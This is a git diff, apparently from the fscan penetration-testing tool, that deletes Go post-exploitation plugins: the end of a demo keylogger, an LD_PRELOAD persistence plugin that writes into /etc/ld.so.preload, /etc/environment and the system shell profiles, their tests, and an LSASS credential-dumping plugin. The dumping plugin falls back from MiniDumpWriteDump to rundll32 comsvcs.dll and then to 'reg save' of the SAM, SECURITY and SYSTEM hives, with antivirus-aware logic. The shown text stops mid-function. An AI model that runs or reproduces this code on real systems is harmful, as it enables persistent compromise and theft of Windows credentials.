fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err) - } - - // 保存到文件 - if err := p.saveKeysToFile(outputFile, session); err != nil { - session.LogError(i18n.Tr("keylogger_save_failed", err)) - } - - return nil -} - -// checkOutputFilePermissions 检查输出文件权限 -func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error { - file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err) - } - _ = file.Close() - return nil -} - -// checkPlatformRequirements 检查平台特定要求 -func (p *KeyloggerPlugin) checkPlatformRequirements() error { - switch runtime.GOOS { - case "windows": - return p.checkWindowsRequirements() - case "linux": - return p.checkLinuxRequirements() - case "darwin": - return p.checkDarwinRequirements() - default: - return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) - } -} - -// addKeyToBuffer 添加按键到缓冲区 -func (p *KeyloggerPlugin) addKeyToBuffer(key string) { - p.bufferMutex.Lock() - defer p.bufferMutex.Unlock() - - timestamp := time.Now().Format("2006-01-02 15:04:05") - entry := fmt.Sprintf("[%s] %s", timestamp, key) - p.keyBuffer = append(p.keyBuffer, entry) -} - -// saveKeysToFile 保存键盘记录到文件 -func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error { - p.bufferMutex.RLock() - defer p.bufferMutex.RUnlock() - - if len(p.keyBuffer) == 0 { - session.LogInfo(i18n.GetText("keylogger_no_input")) - return nil - } - - file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err) - } - defer func() { _ = file.Close() }() - - // 写入头部信息 - header := i18n.GetText("keylogger_log_header") + "\n" - header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n" - header += i18n.Tr("local_platform", runtime.GOOS) + "\n" - header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n" - header += "========================\n\n" - - if _, err := file.WriteString(header); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err) - } - - // 写入键盘记录 - for _, entry := range p.keyBuffer { - if _, err := file.WriteString(entry + "\n"); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err) - } - } - - return nil -} - -// 平台特定的键盘记录实现 - 简化版本,仅做演示 -func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { - // Windows平台键盘记录实现 - // 在实际实现中需要使用Windows API - p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { - // Linux平台键盘记录实现 - // 在实际实现中需要访问/dev/input/event*设备 - p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { - // macOS平台键盘记录实现 - // 在实际实现中需要使用Core Graphics框架 - p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin")) - - // 模拟记录一段时间 - select { - case <-ctx.Done(): - return ctx.Err() - case <-time.After(5 * time.Second): - // 模拟结束 - } - - return nil -} - -// 平台特定的要求检查 - 简化版本 -func (p *KeyloggerPlugin) checkWindowsRequirements() error { - // Windows平台要求检查 - return nil -} - -func (p *KeyloggerPlugin) checkLinuxRequirements() error { - // Linux平台要求检查 - return nil -} - -func (p *KeyloggerPlugin) checkDarwinRequirements() error { - // macOS平台要求检查 - return nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("keylogger", func() Plugin { - return NewKeyloggerPlugin() - }) -} diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go deleted file mode 100644 index 9eedf466..00000000 --- a/plugins/local/ldpreload.go +++ /dev/null @@ -1,316 +0,0 @@ -//go:build (plugin_ldpreload || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// LDPreloadPlugin LD_PRELOAD持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type LDPreloadPlugin struct { - plugins.BasePlugin -} - -// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 -func NewLDPreloadPlugin() *LDPreloadPlugin { - return &LDPreloadPlugin{ - BasePlugin: plugins.NewBasePlugin("ldpreload"), - } -} - -// Scan 执行LD_PRELOAD持久化 - 直接实现 -func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString(i18n.GetText("persistence_file_required") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查文件类型 - if !p.isValidFile(targetFile) { - output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")), - } - } - - output.WriteString(i18n.GetText("ldpreload_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - var successCount int - - // 1. 复制文件到系统目录 - systemPath, err := p.copyToSystemPath(targetFile) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n") - successCount++ - } - - // 2. 添加到全局环境变量 - err = p.addToEnvironment(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("ldpreload_env_added") + "\n") - successCount++ - } - - // 3. 添加到shell配置文件 - shellConfigs, err := p.addToShellConfigs(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n") - successCount++ - } - - // 4. 创建库配置文件 - err = p.createLdConfig(systemPath) - if err != nil { - output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("ldpreload_config_created") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("ldpreload_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToSystemPath 复制文件到系统目录 -func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) { - // 选择合适的系统目录 - systemDirs := []string{ - "/usr/lib/x86_64-linux-gnu", - "/usr/lib64", - "/usr/lib", - "/lib/x86_64-linux-gnu", - "/lib64", - "/lib", - } - - var targetDir string - for _, dir := range systemDirs { - if _, err := os.Stat(dir); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found")) - } - - // 生成目标路径 - basename := filepath.Base(targetFile) - if !strings.HasPrefix(basename, "lib") { - basename = "lib" + basename - } - if !strings.HasSuffix(basename, ".so") { - basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so" - } - - targetPath := filepath.Join(targetDir, basename) - - // 复制文件 - err := p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件 -func (p *LDPreloadPlugin) copyFile(src, dst string) error { - cmd := exec.Command("cp", src, dst) - return cmd.Run() -} - -// addToEnvironment 添加到全局环境变量 -func (p *LDPreloadPlugin) addToEnvironment(libPath string) error { - envFile := "/etc/environment" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(envFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath) - if strings.Contains(content, libPath) { - return nil // 已存在 - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - return os.WriteFile(envFile, []byte(content), 0644) -} - -// addToShellConfigs 添加到shell配置文件 -func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - } - - ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath) - var modified []string - - for _, configFile := range configFiles { - if _, err := os.Stat(configFile); os.IsNotExist(err) { - continue - } - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - continue - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += ldPreloadLine + "\n" - - // 写入文件 - if err := os.WriteFile(configFile, []byte(content), 0644); err == nil { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none")) - } - - return modified, nil -} - -// createLdConfig 创建ld预加载配置 -func (p *LDPreloadPlugin) createLdConfig(libPath string) error { - configFile := "/etc/ld.so.preload" - - // 读取现有内容 - content := "" - if data, err := os.ReadFile(configFile); err == nil { - content = string(data) - } - - // 检查是否已存在 - if strings.Contains(content, libPath) { - return nil - } - - // 添加新行 - if !strings.HasSuffix(content, "\n") && content != "" { - content += "\n" - } - content += libPath + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(content), 0644) -} - -// isValidFile 检查文件类型 -func (p *LDPreloadPlugin) isValidFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - - // 检查扩展名 - if ext == ".so" || ext == ".elf" { - return true - } - - // 检查文件内容(ELF魔数) - file, err := os.Open(filePath) - if err != nil { - return false - } - defer func() { _ = file.Close() }() - - header := make([]byte, 4) - if n, err := file.Read(header); err != nil || n < 4 { - return false - } - - // ELF魔数: 0x7f 0x45 0x4c 0x46 - return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46 -} - -// 注册插件 -func init() { - RegisterLocalPlugin("ldpreload", func() Plugin { - return NewLDPreloadPlugin() - }) -} diff --git a/plugins/local/local_pure_test.go b/plugins/local/local_pure_test.go deleted file mode 100644 index c271121e..00000000 --- a/plugins/local/local_pure_test.go +++ /dev/null @@ -1,152 +0,0 @@ -//go:build linux && !no_local - -package local - -import ( - "os" - "path/filepath" - "strings" - "testing" - - "github.com/shadow1ng/fscan/common" -) - -func TestLocalPluginConstructors(t *testing.T) { - tests := []struct { - name string - got Plugin - }{ - {name: "cleaner", got: NewCleanerPlugin()}, - {name: "crontask", got: NewCronTaskPlugin()}, - {name: "forwardshell", got: NewForwardShellPlugin()}, - {name: "keylogger", got: NewKeyloggerPlugin()}, - {name: "ldpreload", got: NewLDPreloadPlugin()}, - {name: "reverseshell", got: NewReverseShellPlugin()}, - {name: "socks5proxy", got: NewSocks5ProxyPlugin()}, - {name: "sshkey", got: NewSSHKeyPlugin()}, - {name: "systemdservice", got: NewSystemdServicePlugin()}, - {name: "systeminfo", got: NewSystemInfoPlugin()}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if tt.got == nil { - t.Fatal("constructor returned nil") - } - if got := tt.got.Name(); got != tt.name { - t.Fatalf("Name() = %q, want %q", got, tt.name) - } - }) - } -} - -func TestCronTaskScriptDetectionAndJobs(t *testing.T) { - plugin := NewCronTaskPlugin() - for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} { - plugin.targetFile = name - if !plugin.isScriptFile() { - t.Fatalf("%s should be treated as script", name) - } - } - - plugin.targetFile = "agent.bin" - if plugin.isScriptFile() { - t.Fatal("binary target should not be treated as script") - } - - plugin.targetFile = "agent.sh" - jobs := plugin.generateCronJobs("/tmp/agent.sh") - if len(jobs) != 4 { - t.Fatalf("job count = %d, want 4", len(jobs)) - } - for _, job := range jobs { - if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") { - t.Fatalf("script cron job missing bash wrapper: %q", job) - } - } -} - -func TestLDPreloadValidFileDetection(t *testing.T) { - dir := t.TempDir() - plugin := NewLDPreloadPlugin() - - soPath := filepath.Join(dir, "libhook.so") - if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil { - t.Fatal(err) - } - if !plugin.isValidFile(soPath) { - t.Fatal(".so file should be accepted by extension") - } - - elfPath := filepath.Join(dir, "payload.bin") - if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil { - t.Fatal(err) - } - if !plugin.isValidFile(elfPath) { - t.Fatal("ELF magic file should be accepted") - } - - textPath := filepath.Join(dir, "payload.txt") - if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil { - t.Fatal(err) - } - if plugin.isValidFile(textPath) { - t.Fatal("plain text file should not be accepted") - } -} - -func TestKeyloggerBufferAndFileHelpers(t *testing.T) { - dir := t.TempDir() - path := filepath.Join(dir, "keys.log") - session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{}) - plugin := NewKeyloggerPlugin() - - if err := plugin.checkOutputFilePermissions(path); err != nil { - t.Fatalf("checkOutputFilePermissions error = %v", err) - } - if _, err := os.Stat(path); err != nil { - t.Fatalf("output file was not created: %v", err) - } - - if err := plugin.saveKeysToFile(path, session); err != nil { - t.Fatalf("save empty keys error = %v", err) - } - - plugin.addKeyToBuffer("A") - plugin.addKeyToBuffer("B") - if len(plugin.keyBuffer) != 2 { - t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer)) - } - if err := plugin.saveKeysToFile(path, session); err != nil { - t.Fatalf("save keys error = %v", err) - } - content, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") { - t.Fatalf("saved key log missing entries: %q", content) - } -} - -func TestShellUtilityHelpers(t *testing.T) { - prompt := NewForwardShellPlugin().getPrompt() - if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") { - t.Fatalf("unexpected prompt suffix: %q", prompt) - } - - if dir := getCurrentDir(); dir == "" || dir == "unknown" { - t.Fatalf("getCurrentDir() = %q", dir) - } - - pub, priv, err := NewSSHKeyPlugin().generateKeyPair() - if err != nil { - t.Fatalf("generateKeyPair error = %v", err) - } - if !strings.HasPrefix(pub, "ssh-ed25519 ") { - t.Fatalf("public key should be ssh-ed25519, got %q", pub) - } - if !strings.Contains(priv, "OPENSSH PRIVATE KEY") { - t.Fatal("private key should be OpenSSH PEM") - } -} diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go deleted file mode 100644 index 0d1d4514..00000000 --- a/plugins/local/minidump.go +++ /dev/null @@ -1,589 +0,0 @@ -//go:build (plugin_minidump || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "errors" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - "syscall" - "time" - "unsafe" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - "golang.org/x/sys/windows" -) - -const ( - TH32CS_SNAPPROCESS = 0x00000002 - INVALID_HANDLE_VALUE = ^uintptr(0) - MAX_PATH = 260 - PROCESS_ALL_ACCESS = 0x1F0FFF - SE_PRIVILEGE_ENABLED = 0x00000002 -) - -type PROCESSENTRY32 struct { - dwSize uint32 - cntUsage uint32 - th32ProcessID uint32 - th32DefaultHeapID uintptr - th32ModuleID uint32 - cntThreads uint32 - th32ParentProcessID uint32 - pcPriClassBase int32 - dwFlags uint32 - szExeFile [MAX_PATH]uint16 -} - -type LUID struct { - LowPart uint32 - HighPart int32 -} - -type LUID_AND_ATTRIBUTES struct { - Luid LUID - Attributes uint32 -} - -type TOKEN_PRIVILEGES struct { - PrivilegeCount uint32 - Privileges [1]LUID_AND_ATTRIBUTES -} - -// MiniDumpPlugin 内存转储插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现内存转储功能 -// - 保持原有功能逻辑 -type MiniDumpPlugin struct { - plugins.BasePlugin - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// ProcessManager Windows进程管理器 -type ProcessManager struct { - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// NewMiniDumpPlugin 创建内存转储插件 -func NewMiniDumpPlugin() *MiniDumpPlugin { - return &MiniDumpPlugin{ - BasePlugin: plugins.NewBasePlugin("minidump"), - } -} - -// Scan 执行凭据提取——降级链:直接dump → comsvcs.dll → reg save -func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - _ = session.Config - _ = session.State - defer func() { - if r := recover(); r != nil { - session.LogError(i18n.Tr("minidump_panic", r)) - } - }() - - var output strings.Builder - - // 检查管理员权限 - if !p.isAdmin() { - return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))} - } - - if err := p.loadSystemDLLs(); err != nil { - return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err} - } - defer p.releaseSystemDLLs() - - pm := &ProcessManager{kernel32: p.kernel32, dbghelp: p.dbghelp, advapi32: p.advapi32} - avActive := p.isAVBlocking() - - // 方式1:直接 MiniDumpWriteDump(无杀软时尝试) - if !avActive { - output.WriteString(i18n.GetText("minidump_try_direct") + "\n") - if ok := p.tryDirectDump(ctx, pm, &output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - } else { - output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n") - } - - // 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截) - output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n") - if ok := p.tryComsvcsDump(pm, &output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - - // 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS) - output.WriteString(i18n.GetText("minidump_try_regsave") + "\n") - if ok := p.tryRegSave(&output, session); ok { - return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} - } - - output.WriteString(i18n.GetText("minidump_all_failed") + "\n") - return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))} -} - -func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { - pid, err := pm.findProcess("lsass.exe") - if err != nil { - output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") - return false - } - - if privErr := pm.elevatePrivileges(); privErr != nil { - output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n") - return false - } - - outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second) - defer cancel() - - if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil { - output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n") - os.Remove(outputPath) - return false - } - - return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session) -} - -func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { - pid, err := pm.findProcess("lsass.exe") - if err != nil { - output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") - return false - } - - _ = pm.elevatePrivileges() - - outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump", - fmt.Sprintf("%d", pid), outputPath, "full") - if err := cmd.Run(); err != nil { - output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n") - return false - } - - return p.reportSuccess(output, outputPath, "comsvcs.dll", session) -} - -func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool { - files := map[string]string{ - "SAM": filepath.Join(".", "sam.hiv"), - "SECURITY": filepath.Join(".", "security.hiv"), - "SYSTEM": filepath.Join(".", "system.hiv"), - } - - saved := 0 - for hive, path := range files { - if err := exec.Command("reg", "save", fmt.Sprintf("HKLM\\%s", hive), path, "/y").Run(); err == nil { - if fi, err := os.Stat(path); err == nil { - output.WriteString(fmt.Sprintf(" ✓ %s → %s (%d bytes)\n", hive, path, fi.Size())) - saved++ - } - } else { - output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n") - } - } - - if saved == 3 { - output.WriteString(i18n.GetText("minidump_regsave_done") + "\n") - session.LogSuccess(i18n.Tr("minidump_regsave_success")) - return true - } - return false -} - -func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool { - fi, err := os.Stat(path) - if err != nil || fi.Size() == 0 { - return false - } - output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n") - session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) - return true -} - -// loadSystemDLLs 加载系统DLL -func (p *MiniDumpPlugin) loadSystemDLLs() error { - kernel32, err := syscall.LoadDLL("kernel32.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err) - } - - dbghelp, err := syscall.LoadDLL("Dbghelp.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err) - } - - advapi32, err := syscall.LoadDLL("advapi32.dll") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err) - } - - p.kernel32 = kernel32 - p.dbghelp = dbghelp - p.advapi32 = advapi32 - - return nil -} - -// releaseSystemDLLs 释放已加载的系统DLL -func (p *MiniDumpPlugin) releaseSystemDLLs() { - for _, dll := range []*syscall.DLL{p.kernel32, p.dbghelp, p.advapi32} { - if dll != nil { - _ = dll.Release() - } - } -} - -// isAdmin 检查是否具有管理员权限 -func (p *MiniDumpPlugin) isAdmin() bool { - var sid *windows.SID - err := windows.AllocateAndInitializeSid( - &windows.SECURITY_NT_AUTHORITY, - 2, - windows.SECURITY_BUILTIN_DOMAIN_RID, - windows.DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, - &sid) - if err != nil { - return false - } - defer func() { _ = windows.FreeSid(sid) }() - - token := windows.Token(0) - member, err := token.IsMember(sid) - return err == nil && member -} - -// ProcessManager 方法实现 - -// findProcess 查找进程 -func (pm *ProcessManager) findProcess(name string) (uint32, error) { - snapshot, err := pm.createProcessSnapshot() - if err != nil { - return 0, err - } - defer pm.closeHandle(snapshot) - - return pm.findProcessInSnapshot(snapshot, name) -} - -// createProcessSnapshot 创建进程快照 -func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { - proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err) - } - - handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) - if handle == uintptr(INVALID_HANDLE_VALUE) { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError) - } - return handle, nil -} - -// findProcessInSnapshot 在快照中查找进程 -func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { - var pe32 PROCESSENTRY32 - pe32.dwSize = uint32(unsafe.Sizeof(pe32)) - - proc32First, err := pm.kernel32.FindProc("Process32FirstW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err) - } - - proc32Next, err := pm.kernel32.FindProc("Process32NextW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err) - } - - lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err) - } - - ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError()) - } - - for { - namePtr, err := syscall.UTF16PtrFromString(name) - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err) - } - - ret, _, _ = lstrcmpi.Call( - uintptr(unsafe.Pointer(namePtr)), - uintptr(unsafe.Pointer(&pe32.szExeFile[0])), - ) - - if ret == 0 { - return pe32.th32ProcessID, nil - } - - ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - break - } - } - - return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name)) -} - -// elevatePrivileges 提升权限 -func (pm *ProcessManager) elevatePrivileges() error { - handle, err := pm.getCurrentProcess() - if err != nil { - return err - } - - var token syscall.Token - err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err) - } - defer func() { _ = token.Close() }() - - var tokenPrivileges TOKEN_PRIVILEGES - - privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege") - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err) - } - - lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") - ret, _, err := lookupPrivilegeValue.Call( - 0, - uintptr(unsafe.Pointer(privilegeName)), - uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), - ) - if ret == 0 { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err) - } - - tokenPrivileges.PrivilegeCount = 1 - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED - - adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") - ret, _, err = adjustTokenPrivileges.Call( - uintptr(token), - 0, - uintptr(unsafe.Pointer(&tokenPrivileges)), - 0, 0, 0, - ) - if ret == 0 { - return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err) - } - - return nil -} - -// getCurrentProcess 获取当前进程句柄 -func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { - proc := pm.kernel32.MustFindProc("GetCurrentProcess") - handle, _, _ := proc.Call() - if handle == 0 { - return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed")) - } - return syscall.Handle(handle), nil -} - -// dumpProcessWithTimeout 带超时的转储进程内存 -func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error { - resultChan := make(chan error, 1) - - go func() { - resultChan <- pm.dumpProcess(pid, outputPath) - }() - - select { - case err := <-resultChan: - return err - case <-ctx.Done(): - return fmt.Errorf("%s", i18n.GetText("minidump_timeout")) - } -} - -// dumpProcess 转储进程内存 -func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { - processHandle, err := pm.openProcess(pid) - if err != nil { - return err - } - defer pm.closeHandle(processHandle) - - fileHandle, err := pm.createDumpFile(outputPath) - if err != nil { - return err - } - defer pm.closeHandle(fileHandle) - - miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") - if err != nil { - return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err) - } - - // 转储类型标志 - const MiniDumpWithDataSegs = 0x00000001 - const MiniDumpWithFullMemory = 0x00000002 - const MiniDumpWithHandleData = 0x00000004 - const MiniDumpWithUnloadedModules = 0x00000020 - const MiniDumpWithIndirectlyReferencedMemory = 0x00000040 - const MiniDumpWithProcessThreadData = 0x00000100 - const MiniDumpWithPrivateReadWriteMemory = 0x00000200 - const MiniDumpWithFullMemoryInfo = 0x00000800 - const MiniDumpWithThreadInfo = 0x00001000 - const MiniDumpWithCodeSegs = 0x00002000 - - // 组合转储类型标志 - dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData | - MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory | - 